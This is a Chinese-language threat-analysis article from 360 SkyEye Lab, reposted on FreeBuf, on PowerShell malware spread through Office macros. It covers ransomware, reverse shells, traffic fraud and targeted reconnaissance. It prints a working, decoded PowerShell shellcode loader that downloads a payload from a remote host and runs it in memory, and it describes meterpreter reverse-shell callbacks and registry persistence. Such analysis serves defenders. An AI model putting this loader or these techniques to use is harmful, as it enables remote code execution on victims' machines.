轉(zhuǎn)自freebuf引言人在做,天在看。 技術(shù)從來都是中性的,被用來行善還是作惡完全取決于運用它的人。原子能可以用來發(fā)電為大眾提供清潔能源,也可以用來制造能毀滅全人類的核武器,這不是一個完善的世界,于是我們既有核電站也有了核武器。 Powershell,曾經(jīng)Windows系統(tǒng)管理員的稱手工具,在惡意代碼制造和傳播者手里也被玩得花樣百出。由于Powershell的可執(zhí)行框架部分是系統(tǒng)的組件不可能被查殺,而驅(qū)動它的腳本是非PE的而非常難以通過靜態(tài)方法判定惡意性,同時腳本可以非常小巧而在系統(tǒng)底層的支持下功能卻可以非常強大,這使利用Powershell的惡意代碼繞過常規(guī)的病毒防護對系統(tǒng)為所欲為。因此,360天眼實驗室近期看到此類惡意代碼泛濫成災(zāi)就毫不奇怪,事實上,我們甚至看到所跟蹤的APT團伙也開始轉(zhuǎn)向Powershell。 本文我們向大家展示一些看到的實際惡意代碼的例子。 實例分析這里我們基于360威脅情報中心的數(shù)據(jù),對接觸到的Powershell惡意代碼按分類各舉一例。 勒索軟件我們知道現(xiàn)在勒索軟件以其直接的變現(xiàn)方式現(xiàn)在已成為黑產(chǎn)的寵兒,像雨后春筍那樣冒出來的勒索軟件中,我們看到了使用純Powershell腳本實現(xiàn)的例子。
這是一個通過Word文檔中嵌入宏以誘導(dǎo)執(zhí)行的勒索軟件,使用工具提取出其中的宏,內(nèi)容如下:
宏的功能是下載http:///file.php到本地的temp目錄下,并用Powershell運行這個文件。而下載回來的file.php本質(zhì)上是一個ps的腳本文件,MD5為:dd180477d6a0bb6ce3c29344546ebdfc 。 勒索者腳本的實現(xiàn)原理是:通過隨機生成加密密鑰與用戶ID,將加密密鑰與用戶ID信息上傳到服務(wù)器進行備份,在用戶機器上使用對稱算法將用戶的文檔進行加密。因為密鑰為隨機生成,除非擁有攻擊者服務(wù)器上備份的密鑰,否則很難將被加密的文檔進行還原。 腳本的原貌為: 可見,腳本做了混淆處理,簡單處理以后歸納出的腳本主要執(zhí)行過程如下: 1. 生成三個隨機數(shù),分別表示加密密鑰、加密用的鹽、UUID 把上面生成隨機數(shù)發(fā)送到服務(wù)器中保存 2. 用隨機數(shù)生成加密容器 3. 得到磁盤中的所有的指定后綴的文件 調(diào)用Get-PSDrive,得到所有文件名
4. 加密這些文件的前2048個字節(jié)后寫回文件 5. 解碼Base64得到提示勒索的html文件 在html文件的尾部添加上贖回密鑰用的UUID及當(dāng)前時間 滲透測試此類樣本大多使用網(wǎng)絡(luò)上的nishang開源工具包生成的攻擊文件。攻擊文件以Word、Excel、CHM、LNK等格式的文件為載體,嵌入Payload,實現(xiàn)獲得反彈Shell等功能,實現(xiàn)對系統(tǒng)的控制。
文件打開后,會顯示文件損壞,用來迷惑用戶,Word中的宏卻悄然運行了。 宏的內(nèi)容為:
將宏中的字符串,用Base64解碼后,得到內(nèi)容如下:
將其中的shellcode提取出來進行分析得知,這段shellcode的主要功能是反向連接內(nèi)網(wǎng)IP 192.168.1.30的4444端口。 另一個與上述樣本有著類似功能的樣本的MD5為:1e39753fd56f17010ac62b1d84b5e650 從文件中提取出來的宏為: 而這四個函數(shù)對應(yīng)的功能分別為 Execute: 用Powershell下載invoke-shellcode.ps后,通過invoke-shellcode函數(shù)調(diào)用指定Payload windows/meterpreter/reverse_https 建立反彈shell,反彈的地址為98.100.108.133,端口為443 其中部分代碼為: Persist: 將Powershell建立反彈Shell的功能用VBS實現(xiàn)后,保存在C:\Users\Public\10-D.vbs文件中 Reg 新建HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load注冊表,值指定為C:\Users\Public\10-D.vbs Start 調(diào)用C:\Users\Public\10-D.vbs 而有時,為了抵抗殺毒軟件的追殺,樣本通常會進行Base64編碼。
下面為提取出來的宏內(nèi)容,可見代碼使用了Base64編碼:
解碼后的內(nèi)容為: $q = @” [DllImport(“kernel32.dll”)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport(“kernel32.dll”)] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpP arameter, uint dwCreationFlags, IntPtr lpThreadId); “@ try{$d = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789”.ToCharArray() function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)} function t {$f = “”;1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;} function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return “9vXU”;} [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient; $m.Headers.Add(“user-agent”, “Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)”);$n = g; [Byte[]] $p = $m.DownloadData(“https://192.168.0.105:4444/$n ” ) $o = Add-Type -memberDefinition $q -Name “Win32” -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length) $o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{} 腳本的功能是通過g函數(shù)隨機生成四位的字符,從內(nèi)網(wǎng)網(wǎng)址下載后加載執(zhí)行https://192.168.0.105:4444/xxxx (其中xxxx為隨機四位字符) 這里連接的是192.168.0.105為內(nèi)網(wǎng)IP,此樣本很可能是滲透者進行內(nèi)網(wǎng)滲透攻擊的測試樣本。此類樣本還有很多: eae0906f98568c5fb25b2bb32b1dbed7 1a42671ce3b2701956ba49718c9e118e 496ed16e636203fa0eadbcdc182b0e85 使用LNK文件,建立反彈shell的樣本 流量欺騙為了快速提升網(wǎng)站流量、Alexa排名、淘寶網(wǎng)店訪問量、博客人氣、每日訪問IP、PV、UV等,有些網(wǎng)站站長會采取非常規(guī)的引流方法,采用軟件在后臺模擬人正常訪問網(wǎng)頁的點擊動作而達到提升流量的目的。
文檔打開后里面只有“test by c”這幾個文字 提取出文檔中的宏中的加密字符解密后得到可讀的ps腳本如下
可見,ps腳本的主要功能就是執(zhí)行Shellcode,這段Shellcode的功能就是調(diào)用wininet.dll中的函數(shù)進行連接138.128.196.84地址的443端口。而138.128.196.84地址正為流量寶類的軟件用的地址。 探測控制樣本對通過宏調(diào)用Powershell下載PE文件在受影響的系統(tǒng)上檢查是否為關(guān)心的目標(biāo)并執(zhí)行進一步地操作,具備針對性攻擊的特點。 樣本MD5:fba6b329876533f28d317e60fe53c8d3 從樣本中抽取出的宏主要是根據(jù)系統(tǒng)版本下載相應(yīng)的文件執(zhí)行
其中的對應(yīng)32位系統(tǒng)的cache文件的內(nèi)容如下: 我們對Shellcode進行簡單分析: 1. 在內(nèi)存中解密,生成一個PE文件,在內(nèi)存中展開跳到入口點處執(zhí)行,將PE文件的.BSS區(qū)段進行解碼,解碼算法如下: 解密后的結(jié)果為: 2.判斷是不是64位系統(tǒng) 判斷虛擬機 3. 用FindFirstUrlCacheEntry和FindNextUrlCacheEntry遍歷IE臨時文件目錄 ,用于判斷用戶是否是攻擊者的目標(biāo)用戶 4.計算用戶和電腦信息的HASH 隨后B03938處創(chuàng)建線程進行下面的動作 判斷ipconfig -all 命令中是否有.edu、school、hospital、colledge、health、nurse等字符串 調(diào)用cmd /C “”ipconfig -all > C:\DOCUME~1\yyyyy\LOCALS~1\Temp\xxxx.TMP(xxx代表隨機數(shù))生成文件,檢測.edu、school、hospital、colledge、health、nurse等字符串 5. 遍歷系統(tǒng)中的進程,檢測有否指定hash的進程正在運行, 從IE緩存中查找用戶是不是訪問過這些網(wǎng)址: 通過WININET.FindFirstUrlCacheEntryW WININET.FindNextUrlCacheEntryW WININET.FindCloseUrlCache 得到net view命令返回值中是否有pos、store、shop、sale等字符串 發(fā)送用戶信息,并下載相對應(yīng)的惡意程序: 其中,用這種手法的惡意樣本還有如下: 信息搜集樣本中的宏代碼下載執(zhí)行信息收集類的Powershell腳本,很可能是某些針對性攻擊的前導(dǎo)。 樣本MD5:f7c3c7df2e7761eceff991bf457ed5b9 提取出來的宏代碼為: 下載一個名為Get-Info-2.ps1的腳本,腳本功能是將本機的IP地址、domainname、username、usbid等發(fā)送到遠端服務(wù)器中。 總結(jié)天眼實驗室再次提醒用戶,此類惡意軟件主要依賴通過微軟的Office文檔傳播,用戶應(yīng)該確保宏不默認啟用,提防任何來自不受信任來源的文件,當(dāng)打開文件系統(tǒng)提示要使用宏時務(wù)必慎重。同時要盡量選用可靠的安全軟件進行防范,如無必要不要關(guān)閉安全軟件,當(dāng)發(fā)現(xiàn)系統(tǒng)出現(xiàn)異常情況,應(yīng)及時查殺木馬,盡可能避免各類惡意代碼的騷擾。 參考資料* 作者:360天眼實驗室(企業(yè)賬號),轉(zhuǎn)載請注明來自FreeBuf黑客與極客(FreeBuf.COM) 本文鏈接: http://www./the-variety-of-powershell-malice-code.html 請尊重原作者和編輯的辛勤勞動,歡迎轉(zhuǎn)載,并注明出處! 暫時沒有相關(guān)文章。 |
|